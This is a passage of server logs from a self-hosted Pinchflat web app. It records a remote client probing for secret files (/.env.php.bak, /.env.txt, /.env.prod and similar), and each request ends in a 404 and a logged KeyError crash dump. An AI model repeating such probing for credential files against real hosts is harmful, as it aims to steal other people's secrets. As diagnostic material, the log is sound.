peer: {{127, 0, 0, 1}, 46704}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.148.10.62", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 21, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3188.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.148.10.62"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.env.tmp", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUcdXEf9SvKS-UAAPUB"} ], scheme: :http, script_name: (truncated) 23:35:18.180 [info] GET /.env.php.bak 23:35:18.181 [debug] QUERY OK source="settings" db=0.2ms idle=364.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:35:18.181 [debug] QUERY OK source="settings" db=0.0ms idle=256.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:35:18.181 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 23:35:18.181 [error] #PID<0.3189.0> running PinchflatWeb.Endpoint (connection #PID<0.3167.0>, stream id 22) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.env.php.bak ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env.php (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.php.bak", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 46704}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.148.10.62", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 22, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3189.0>, params: %{}, path_info: [".env.php"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.148.10.62"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.env.php.bak", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUcdXiAs42cv8oAAPVB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.php.bak", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 46704}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.148.10.62", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 22, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env.php (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.php.bak", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 46704}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.148.10.62", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 22, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3189.0>, params: %{}, path_info: [".env.php"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.148.10.62"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.env.php.bak", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUcdXiAs42cv8oAAPVB"} ], (truncated) 23:35:18.298 [info] GET /.env.php 23:35:18.300 [debug] QUERY OK source="settings" db=0.5ms idle=374.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:35:18.300 [debug] QUERY OK source="settings" db=0.2ms idle=242.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:35:18.300 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 23:35:18.301 [error] #PID<0.3190.0> running PinchflatWeb.Endpoint (connection #PID<0.3167.0>, stream id 23) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.env.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 46704}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.148.10.62", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 23, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3190.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.148.10.62"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.env.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUcdX-MHyNmF6sAAPWB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 46704}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.148.10.62", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 23, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 46704}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.148.10.62", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 23, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3190.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.148.10.62"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.env.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUcdX-MHyNmF6sAAPWB"} ], scheme: :http, script_name: [], secret_key_base (truncated) 23:35:18.426 [info] GET /.env.txt 23:35:18.428 [debug] QUERY OK source="settings" db=0.7ms idle=369.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:35:18.428 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=247.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:35:18.428 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 23:35:18.429 [error] #PID<0.3191.0> running PinchflatWeb.Endpoint (connection #PID<0.3167.0>, stream id 24) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.env.txt ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.txt", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 46704}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.148.10.62", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 24, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3191.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.148.10.62"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.env.txt", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUcdYcqqp-3HM8AAPXB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.txt", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 46704}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.148.10.62", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 24, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.txt", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 46704}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.148.10.62", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 24, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3191.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.148.10.62"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.env.txt", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUcdYcqqp-3HM8AAPXB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: (truncated) 23:35:18.551 [info] GET /.env.prod 23:35:18.552 [debug] QUERY OK source="settings" db=0.6ms idle=370.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:35:18.552 [debug] QUERY OK source="settings" db=0.2ms idle=252.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:35:18.553 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 23:35:18.553 [error] #PID<0.3192.0> running PinchflatWeb.Endpoint (connection #PID<0.3167.0>, stream id 25) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.env.prod ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.prod", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 46704}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.148.10.62", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 25, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3192.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.148.10.62"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.env.prod", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUcdY6Tl17yZgAAAPYB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: 